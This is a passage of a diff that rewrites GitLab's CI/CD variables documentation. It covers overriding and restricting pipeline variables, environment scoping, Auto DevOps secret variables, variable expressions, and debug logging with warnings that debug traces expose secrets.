+1. Pass variables to a [downstream pipeline](../multi_project_pipelines.md#passing-cicd-variables-to-a-downstream-pipeline).
-### Auto DevOps environment variables
+The pipeline variables declared in these events take [priority over other variables](#cicd-variable-precedence).
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/49056) in GitLab 11.7.
+### Override a variable when running a pipeline manually
-You can configure [Auto DevOps](../../topics/autodevops/index.md) to
-pass CI/CD variables to the running application by prefixing the key of the
-variable with `K8S_SECRET_`.
+You can override the value of a CI/CD variable when you
+[run a pipeline manually](../pipelines/index.md#run-a-pipeline-manually).
-These [prefixed variables](../../topics/autodevops/customize.md#application-secret-variables) are
-then available as environment variables on the running application
-container.
+1. Go to your project's **CI/CD > Pipelines** and select **Run pipeline**.
+1. Choose the branch you want to run the pipeline for.
+1. Input the variable and its value in the UI.
-WARNING:
-Variables with multi-line values are not supported due to
-limitations with the Auto DevOps scripting environment.
+### Restrict who can override variables
-### When you can override variables
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/295234) in GitLab 13.8.
-You can override the value of a variable when:
+You can grant permission to override variables to [maintainers](../../user/permissions.md#project-features) only. When other users try to run a pipeline
+with overridden variables, they receive the `Insufficient permissions to set pipeline variables`
+error message.
-1. [Manually running](#override-a-variable-by-manually-running-a-pipeline) pipelines in the UI.
-1. Manually creating pipelines [via API](../../api/pipelines.md#create-a-new-pipeline).
-1. Manually playing a job via the UI.
-1. Using [push options](../../user/project/push_options.md#push-options-for-gitlab-cicd).
-1. Manually triggering pipelines with [the API](../triggers/README.md#making-use-of-trigger-variables).
-1. Passing variables to a [downstream pipeline](../multi_project_pipelines.md#passing-cicd-variables-to-a-downstream-pipeline).
+If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#custom-cicd-configuration-path),
+use this setting for control over the environment the pipeline runs in.
-These pipeline variables declared in these events take [priority over other variables](#priority-of-cicd-variables).
+You can enable this feature by using [the projects API](../../api/projects.md#edit-project)
+to enable the `restrict_user_defined_variables` setting. The setting is `disabled` by default.
-#### Restrict who can override variables
+## Limit the environment scope of a CI/CD variable
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/295234) in GitLab 13.8.
-
-To allow only users with Maintainer role to set these variables, you can use
-[the API](../../api/projects.md#edit-project) to enable the project setting `restrict_user_defined_variables`.
-When a user without Maintainer role tries to run a pipeline with overridden
-variables, an `Insufficient permissions to set pipeline variables` error occurs.
+You can limit the environment scope of a variable by
+[defining which environments](../environments/index.md) it can be available for.
-The setting is `disabled` by default.
+To learn more about scoping environments, see [Scoping environments with specs](../environments/index.md#scoping-environments-with-specs).
-If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#custom-cicd-configuration-path),
-use this setting for strict control over all aspects of the environment
-the pipeline runs in.
+## Deployment variables
-#### Override a variable by manually running a pipeline
+Integrations that are responsible for deployment configuration can define their own
+variables that are set in the build environment. These variables are only defined
+for [deployment jobs](../environments/index.md).
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/44059) in GitLab 10.8.
+For example, the [Kubernetes integration](../../user/project/clusters/index.md#deployment-variables)
+defines deployment variables that you can use with the integration.
-You can override the value of a current variable by
-[running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually).
+The [documentation for each integration](../../user/project/integrations/overview.md)
+explains if the integration has any deployment variables available.
-For instance, suppose you added a custom variable named `$TEST`
-and you want to override it in a manual pipeline.
+## Auto DevOps environment variables
-Navigate to your project's **CI/CD > Pipelines** and click **Run pipeline**.
-Choose the branch you want to run the pipeline for, then add a variable and its value in the UI:
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/49056) in GitLab 11.7.
-![Override variable value](img/override_variable_manual_pipeline.png)
+You can configure [Auto DevOps](../../topics/autodevops/index.md) to pass CI/CD variables
+to a running application.
-The runner overrides the value previously set and uses the custom
-value for this specific pipeline.
+To make a CI/CD variable available as an environment variable in the running application's container,
+[prefix the variable key](../../topics/autodevops/customize.md#application-secret-variables)
+with `K8S_SECRET_`.
-![Manually overridden variable output](img/override_value_via_manual_pipeline_output.png)
+CI/CD variables with multi-line values are not supported.
## CI/CD variable expressions
@@ -649,7 +639,7 @@ value for this specific pipeline.
> - [Expanded](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3 with [the `rules` keyword](../yaml/README.md#rules)
Use variable expressions to limit which jobs are created
-within a pipeline after changes are pushed to GitLab.
+in a pipeline after changes are pushed to GitLab.
In `.gitlab-ci.yml`, variable expressions work with both:
@@ -774,11 +764,8 @@ so `&&` is evaluated before `||`.
#### Parentheses
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3
-> - It's deployed behind a feature flag, enabled by default.
-> - It's enabled on GitLab.com.
-> - It's recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-parenthesis-support-for-variables). **(FREE SELF)**
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/238174) in GitLab 13.5.
It is possible to use parentheses to group conditions. Parentheses have the highest
precedence of all operators. Expressions enclosed in parentheses are evaluated first,
@@ -794,24 +781,6 @@ Examples:
- `($VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/) && $VARIABLE3`
- `$CI_COMMIT_BRANCH == "my-branch" || (($VARIABLE1 == "thing" || $VARIABLE2 == "thing") && $VARIABLE3)`
-##### Enable or disable parenthesis support for variables **(FREE SELF)**
-
-The feature is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
-can opt to disable it for your instance.
-
-To disable it:
-
-```ruby
-Feature.disable(:ci_if_parenthesis_enabled)
-```
-
-To enable it:
-
-```ruby
-Feature.enable(:ci_if_parenthesis_enabled)
-```
-
### Storing regular expressions in variables
It is possible to store a regular expression in a variable, to be used for pattern matching.
@@ -834,7 +803,7 @@ The available regular expression syntax is limited. See [related issue](https://
for more details.
If needed, you can use a test pipeline to determine whether a regular expression works in a variable. The example below tests the `^mast.*` regular expression directly,
-as well as from within a variable:
+as well as from in a variable:
```yaml
variables:
@@ -857,44 +826,22 @@ testvariable:
> Introduced in GitLab Runner 1.7.
WARNING:
-Enabling debug tracing can have severe security implications. The
-output **will** contain the content of all your variables and any other
-secrets! The output **will** be uploaded to the GitLab server and made visible
-in job logs!
-
-By default, the runner hides most of the details of what it is doing when
-processing a job. This behavior keeps job logs short, and prevents secrets
-from being leaked into the log unless your script writes them to the screen.
-
-If a job isn't working as expected, this can make the problem difficult to
-investigate; in these cases, you can enable debug tracing in `.gitlab-ci.yml`.
-Available on GitLab Runner v1.7+, this feature enables the shell's execution log. This results in a verbose job log listing all commands that were run, variables that were set, and so on.
+Debug logging can be a serious security risk. The output contains the content of
+all variables and other secrets available to the job. The output is uploaded to the
+GitLab server and visible in job logs.
-Before enabling this, you should ensure jobs are visible to
-[team members only](../../user/permissions.md#project-features). You should
-also [erase](../jobs/index.md#view-jobs-in-a-pipeline) all generated job logs
-before making them visible again.
+You can use debug logging to help troubleshoot problems with pipeline configuration
+or job scripts. Debug logging exposes job execution details that are usually hidden
+by the runner and makes job logs more verbose. It also exposes all variables and secrets
+available to the job.
-### Restricted access to debug logging
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213159) in GitLab 13.7.
-> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292661) in GitLab 13.8.
-
-With restricted access to debug logging, only users with
-[developer or higher permissions](../../user/permissions.md#project-members-permissions)
-can view job logs when debug logging is enabled with a variable in:
-
-- The [`.gitlab-ci.yml` file](#gitlab-ciyml-defined-variables).
-- The CI/CD variables set within the GitLab UI.
-
-WARNING:
-If you add `CI_DEBUG_TRACE` as a local variable to your runners, debug logs are visible
-to all users with access to job logs. The permission levels are not checked by Runner,
-so you should make use of the variable in GitLab only.
+Before you enable debug logging, make sure only [team members](../../user/permissions.md#project-features)
+can view job logs. You should also [delete job logs](../jobs/index.md#view-jobs-in-a-pipeline)
+with debug output before you make logs public again.
### Enable Debug logging
-To enable debug logs (traces), set the `CI_DEBUG_TRACE` variable to `true`:
+To enable debug logging (tracing), set the `CI_DEBUG_TRACE` variable to `true`:
```yaml
job_name:
@@ -902,11 +849,10 @@ job_name:
CI_DEBUG_TRACE: "true"
```
-Example truncated output with `CI_DEBUG_TRACE` set to `true`:
+Example output (truncated):
```shell
...
-
export CI_SERVER_TLS_CA_FILE="/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE"
if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
echo $'\''\x1b[32;1mFetching changes...\x1b[0;m'\''
@@ -941,10 +887,6 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
++ CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
++ export CI_JOB_TOKEN=[MASKED]
++ CI_JOB_TOKEN=[MASKED]
-++ export CI_BUILD_ID=379424655
-++ CI_BUILD_ID=379424655
-++ export CI_BUILD_TOKEN=[MASKED]
-++ CI_BUILD_TOKEN=[MASKED]
++ export CI_REGISTRY_USER=gitlab-ci-token
++ CI_REGISTRY_USER=gitlab-ci-token
++ export CI_REGISTRY_PASSWORD=[MASKED]
@@ -957,10 +899,6 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
++ CI_JOB_STAGE=test
++ export CI_NODE_TOTAL=1
++ CI_NODE_TOTAL=1
-++ export CI_BUILD_NAME=debug_trace
-++ CI_BUILD_NAME=debug_trace
-++ export CI_BUILD_STAGE=test
-++ CI_BUILD_STAGE=test
++ export CI=true
++ CI=true
++ export GITLAB_CI=true
@@ -975,16 +913,6 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
++ CI_SERVER_PROTOCOL=https
++ export CI_SERVER_NAME=GitLab
++ CI_SERVER_NAME=GitLab
-++ export CI_SERVER_VERSION=12.6.0-pre
-++ CI_SERVER_VERSION=12.6.0-pre
-++ export CI_SERVER_VERSION_MAJOR=12
-++ CI_SERVER_VERSION_MAJOR=12
-++ export CI_SERVER_VERSION_MINOR=6
-++ CI_SERVER_VERSION_MINOR=6
-++ export CI_SERVER_VERSION_PATCH=0
-++ CI_SERVER_VERSION_PATCH=0
-++ export CI_SERVER_REVISION=f4cc00ae823
-++ CI_SERVER_REVISION=f4cc00ae823
++ export GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
++ GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,cluster_health,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
++ export CI_PROJECT_ID=17893
@@ -1029,55 +957,33 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
++ CI_COMMIT_REF_NAME=master
++ export CI_COMMIT_REF_SLUG=master
++ CI_COMMIT_REF_SLUG=master
-++ export CI_COMMIT_MESSAGE=s/CI/Runner
-++ CI_COMMIT_MESSAGE=s/CI/Runner
-++ export CI_COMMIT_TITLE=s/CI/Runner
-++ CI_COMMIT_TITLE=s/CI/Runner
-++ export CI_COMMIT_DESCRIPTION=
-++ CI_COMMIT_DESCRIPTION=
-++ export CI_COMMIT_REF_PROTECTED=true
-++ CI_COMMIT_REF_PROTECTED=true
-++ export CI_BUILD_REF=dd648b2e48ce6518303b0bb580b2ee32fadaf045
-++ CI_BUILD_REF=dd648b2e48ce6518303b0bb580b2ee32fadaf045
-++ export CI_BUILD_BEFORE_SHA=0000000000000000000000000000000000000000
-++ CI_BUILD_BEFORE_SHA=0000000000000000000000000000000000000000
-++ export CI_BUILD_REF_NAME=master
-++ CI_BUILD_REF_NAME=master
-++ export CI_BUILD_REF_SLUG=master
-++ CI_BUILD_REF_SLUG=master
-++ export CI_RUNNER_ID=1337
-++ CI_RUNNER_ID=1337
-++ export CI_RUNNER_DESCRIPTION=shared-runners-manager-4.gitlab.com
-++ CI_RUNNER_DESCRIPTION=shared-runners-manager-4.gitlab.com
-++ export 'CI_RUNNER_TAGS=gce, east-c, shared, docker, linux, ruby, mysql, postgres, mongo, git-annex'
-++ CI_RUNNER_TAGS='gce, east-c, shared, docker, linux, ruby, mysql, postgres, mongo, git-annex'
-++ export CI_DEBUG_TRACE=true
-++ CI_DEBUG_TRACE=true
-++ export GITLAB_USER_ID=42
-++ GITLAB_USER_ID=42
-++ export GITLAB_USER_EMAIL=user@example.com
-++ GITLAB_USER_EMAIL=user@example.com
-++ export GITLAB_USER_LOGIN=root
-++ GITLAB_USER_LOGIN=root
-++ export 'GITLAB_USER_NAME=User'
-++ GITLAB_USER_NAME='User'
-++ export CI_DISPOSABLE_ENVIRONMENT=true
-++ CI_DISPOSABLE_ENVIRONMENT=true
-++ export CI_RUNNER_VERSION=12.5.0
-++ CI_RUNNER_VERSION=12.5.0
-++ export CI_RUNNER_REVISION=577f813d
-++ CI_RUNNER_REVISION=577f813d
-++ export CI_RUNNER_EXECUTABLE_ARCH=linux/amd64
-++ CI_RUNNER_EXECUTABLE_ARCH=linux/amd64
-++ export VERY_SECURE_VARIABLE=imaverysecurevariable
-++ VERY_SECURE_VARIABLE=imaverysecurevariable
-
...
```
+### Restrict access to debug logging
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213159) in GitLab 13.7.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292661) in GitLab 13.8.
+
+You can restrict access to debug logging. When restricted, only users with
+[developer or higher permissions](../../user/permissions.md#project-members-permissions)
+can view job logs when debug logging is enabled with a variable in:
+
+- The [`.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
+- The CI/CD variables set in the GitLab UI.
+
+WARNING:
+If you add `CI_DEBUG_TRACE` as a local variable to runners, debug logs generate and are visible
+to all users with access to job logs. The permission levels are not checked by the runner,
+so you should only use the variable in GitLab itself.
+
## Video walkthrough of a working example
-The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck) video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo) working example project. It explains how multiple levels of group CI/CD variables can be combined with environment-scoped project variables for complex configuration of application builds or deployments.
+The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck)
+video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo)
+working example project. It explains how multiple levels of group CI/CD variables
+can be combined with environment-scoped project variables for complex configuration
+of application builds or deployments.
The example can be copied to your own group or instance for testing. More details
on what other GitLab CI patterns are demonstrated are available at the project page.